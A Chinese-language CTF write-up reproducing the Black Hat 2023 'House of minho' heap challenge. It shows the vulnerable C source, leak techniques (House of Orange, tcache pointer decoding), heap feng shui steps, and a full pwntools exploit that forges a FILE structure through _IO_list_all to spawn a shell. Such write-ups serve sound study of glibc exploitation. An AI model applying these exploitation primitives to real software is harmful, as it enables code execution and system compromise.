1036 字
5 分钟
Black Hat 2023 House of minho复现报告
homie发的堆题,说是堆风水,挺难的。
题目描述
题目给了源码和附件,libc给的是2.35, 我的环境是2.36,exp的偏移可能不一样。
Source如下
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define SIZE_SMALL 0x40
#define SIZE_BIG 0x80
char *g_buf;
int getint(const char *msg) {
int val;
printf("%s", msg);
if (scanf("%d%*c", &val) != 1) exit(1);
return val;
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
while (1) {
puts("1. new\n2. show\n3. delete");
switch (getint("> ")) {
case 1: { /* new */
if (g_buf) {
puts("[-] Buffer in use");
break;
}
if (getint("Size [1=small / 2=big]: ") == 1) {
g_buf = (char*)malloc(SIZE_SMALL);
} else {
g_buf = (char*)malloc(SIZE_BIG);
}
printf("Data: ");
read(STDIN_FILENO, g_buf, SIZE_BIG); //Heap overflow here-->House of Orange leak libcbase
g_buf[strcspn(g_buf, "\n")] = '\0';
break;
}
case 2: { /* show */
if (!g_buf) {
puts("[-] Empty buffer");
} else {
printf("Data: %s\n", g_buf); //leak
}
break;
}
case 3: { /* delete */
if (!g_buf) {
puts("[-] Empty buffer");
} else {
free(g_buf);
g_buf = NULL;
}
break;
}
default:
puts("[+] Bye!");
return 0;
}
}
}
题面很简单,能找到的漏洞有两个。
read(STDIN_FILENO, g_buf, SIZE_BIG);
:此处有堆溢出漏洞,当我们new
一个SMALL
的chunk时,仍然写入BIG
大小的数据,有0x40
的溢出。可以覆盖到下一个堆块的size
位- 调用了
scanf
,但未设置setvbuf(stdin, 0)
,那么scanf
可能发生以下调用
p = malloc(0x800);
p = realloc(p, 0x1000);
p = realloc(p, 0x2000);
free(p);
信息泄露
Libc泄露
LibcBase采用House of Orange的技巧进行泄露。利用漏洞中的堆溢出,我们可以改到Top Chunk的Size位,改小了之后,申请一个大的堆块就可以把Top Chunk放入Unsorted Bin,Unsorted Bin 的第一个节点必定指向main_arena
结构体,调试可得libcbase。
这里我们改下的Topchunk需要对齐内存页,也就是必须是000结尾,我们可以用scanf的调用完成这一操作
#House of Orange leak libc address
hijacktop = cyclic(0x48) + p64(0xd11)
new(1, hijacktop)
io.sendlineafter(b'> ', b'0'*0xfff + b'2')
delete()
new(1, b'a' * 0x50)
show()
io.recvuntil(b'Data: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
leak = u64(io.recv(6).ljust(8, b'\x00'))
io.success(f"Leak: {hex(leak)}")
libc_base = leak - 0x1d2cc0
io.success(f"Libc base: {hex(libc_base)}")
Heap 基地址泄露
利用tcache对fd的加密,可以得知,第一块tcache的fd是0,那么加密后为0^(heapbase >> 12)
直接show出来即可
delete()
new(2, b'a')
delete()
new(1, b'aaaa')
delete()
new(2, b'aaaa')
delete()
new(1, b'b' * 0x50)
show()
io.recvuntil(b'b'*0x50)
heap_base = u64(io.recvuntil(b'\n', drop=True).ljust(8, b'\x00')) << 12
log.success(f"Heap base: {hex(heap_base)}")
堆风水
风水链
- 提前使用
scanf
调用malloc
污染LAST 0x00 Chunk
- Unlink拓展溢出距离
- 伪造Unsorted Bin
- 将Unsorted Bin转移到Small Bin
- 伪造3个
0x90
Small Bin - 命中
Small bin
全部进入tcache
- tcache attack->house of apple
delete()
unlink = cyclic(0x10) + p64(0) + p64(0x31) + p64(heap_base+0x2c0) * 2 + cyclic(0x10) + p64(0x30) + p64(0xd00)
new(1, unlink)
delete()
smallbin = cyclic(0x50) + p64(0x90) + p64(0x10) + p64(0x00) + p64(0x11)
new(2, smallbin)
delete()
new(1, flat({
0x10: 0x0,
0x18: 0x91,
0x20: heap_base + 0x380,
0x28: libc_base + 0x1d2cc0,
}, filler=b'\x00'))
io.sendlineafter(b'> ', b'0'*0xfff + b'2')
delete()
new(1, flat({
0x10 : {
0x00: 0,
0x08: 0x91,
0x10: heap_base + 0x2c0,
0x18: heap_base+0x2c0 + 0x30,
0x30: 0,
0x38: 0x91,
0x40: heap_base + 0x2c0,
0x48: heap_base + 0x2c0 + 0x50,
0x50: 0,
0x58: 0x91,
0x60: heap_base + 0x2c0,
0x68: libc_base + 0x1d2cc0 + 128,
},
}, filler=b'\x00'))
delete()
new(2, b'aaaa')
delete()
House of apple 用的板子。
完整EXP如下:
from pwn import *
context(arch = 'x86_64', os = 'linux', log_level = 'info', terminal = ['tmux', 'splitw', '-h'])
def debug():
gdb.attach(io)
pause()
#IO
isRemote = 0
HOST = 'x'
PORT = 111
attachmentPath = './run'
libcPath = './libc.so.6'
if isRemote:
io = remote(HOST, PORT)
else:
io = process(attachmentPath)
elf = ELF(attachmentPath)
libc = ELF(libcPath)
def menu(choice):
io.sendlineafter(b'> ', str(choice).encode())
def new(size, content):
menu(1)
io.sendlineafter(b'Size [1=small / 2=big]: ', str(size).encode())
io.sendafter(b'Data: ', content)
def show():
menu(2)
def delete():
menu(3)
#Poision last chunk
io.sendlineafter(b'> ', b'0'*0xd58 + b'3')
#House of Orange leak libc address
debug()
hijacktop = cyclic(0x48) + p64(0xd11)
new(1, hijacktop)
io.sendlineafter(b'> ', b'0'*0xfff + b'2')
delete()
new(1, b'a' * 0x50)
show()
io.recvuntil(b'Data: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
leak = u64(io.recv(6).ljust(8, b'\x00'))
io.success(f"Leak: {hex(leak)}")
libc_base = leak - 0x1d2cc0
io.success(f"Libc base: {hex(libc_base)}")
#repair size
delete()
new(1, b'a' * 0x48 + p64(0xcf1))
#leak heap
delete()
new(2, b'a')
delete()
new(1, b'aaaa')
delete()
new(2, b'aaaa')
delete()
new(1, b'b' * 0x50)
show()
io.recvuntil(b'b'*0x50)
heap_base = u64(io.recvuntil(b'\n', drop=True).ljust(8, b'\x00')) << 12
log.success(f"Heap base: {hex(heap_base)}")
#fengshui
delete()
unlink = cyclic(0x10) + p64(0) + p64(0x31) + p64(heap_base+0x2c0) * 2 + cyclic(0x10) + p64(0x30) + p64(0xd00)
new(1, unlink)
delete()
smallbin = cyclic(0x50) + p64(0x90) + p64(0x10) + p64(0x00) + p64(0x11)
new(2, smallbin)
delete()
new(1, flat({
0x10: 0x0,
0x18: 0x91,
0x20: heap_base + 0x380,
0x28: libc_base + 0x1d2cc0,
}, filler=b'\x00'))
io.sendlineafter(b'> ', b'0'*0xfff + b'2')
delete()
new(1, flat({
0x10 : {
0x00: 0,
0x08: 0x91,
0x10: heap_base + 0x2c0,
0x18: heap_base+0x2c0 + 0x30,
0x30: 0,
0x38: 0x91,
0x40: heap_base + 0x2c0,
0x48: heap_base + 0x2c0 + 0x50,
0x50: 0,
0x58: 0x91,
0x60: heap_base + 0x2c0,
0x68: libc_base + 0x1d2cc0 + 128,
},
}, filler=b'\x00'))
delete()
new(2, b'aaaa')
delete()
_IO_list_all = libc_base + libc.symbols['_IO_list_all']
system_addr = libc_base + libc.symbols['system']
print(hex(system_addr))
fake_file = heap_base + 0x2e0
new(1, b"a"*0x10+p64(0) + p64(0x71) + p64((heap_base + 0x2d0 + 0x70)^((heap_base)>>12)))
delete()
new(2, flat({
0x0+0x10: b" sh;",
0x28+0x10: system_addr,
0x68: 0x71,
0x70: _IO_list_all ^((heap_base)>>12),
}, filler=b"\x00"))
delete()
new(2, flat({
0xa0-0x60: fake_file-0x10,
0xd0-0x60: fake_file+0x28-0x68,
0xD8-0x60: libc_base + libc.symbols['_IO_wfile_jumps'],
}, filler=b"\x00"))
delete()
new(2, p64(fake_file))
io.interactive()
Black Hat 2023 House of minho复现报告
https://k4per-blog.xyz/posts/black-hat-2023-house-of-minho复现报告/